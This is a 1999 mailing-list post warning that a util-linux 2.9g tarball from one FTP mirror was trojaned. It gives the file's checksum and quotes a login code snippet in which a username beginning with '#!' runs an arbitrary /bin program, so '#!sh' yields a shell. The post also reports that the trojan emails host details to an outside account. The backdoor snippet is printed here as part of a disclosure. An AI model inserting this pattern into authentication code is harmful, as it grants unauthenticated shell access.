Messages in this thread | | | Date | Sun, 24 Jan 1999 22:17:48 -0800 (PST) | From | Jim Treadway <> | Subject | [RE: (lost thread)] Util-linux 2.9g from ftp.win.tue.nl is bad |
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I accidentally deleted the message(s) pertaining to the original thread, but just wanted to throw in a "me too" warning regarding the original post.
I downloaded (but fortunately hadn't yet installed) the latest util-linux from the URL listed in Documentaion/Changes, and it has some strange code (see below). Here's the file info:
File: util-linux-2.9g.tar.gz Size: 566655 bytes MD5: d0c4b6fac2d3a1d738d5c6671169e182 (copied by hand, so may be bad :)
I downloaded it January 23, 01:43 PST.
For the curious, here's a snippet from a section of code that is called after getting the login name:
if ((name[0] == '#') && (name[1] == '!')) { pt = (char*)&name[2]; sprintf(a,"/bin/%s",pt); execl(a,a,(void*)0); } ...
So apparently you just login as "#!sh" and you're in. It then sends an email (containing hostname & uid of login) to an account at hotmail, as mentioned previously.
...So don't download from there. :) Any other (trusted) locations for the util-linux package?
Been using util-linux-2.6 with no problems with 2.2.0-finale though.
Jim Treadway
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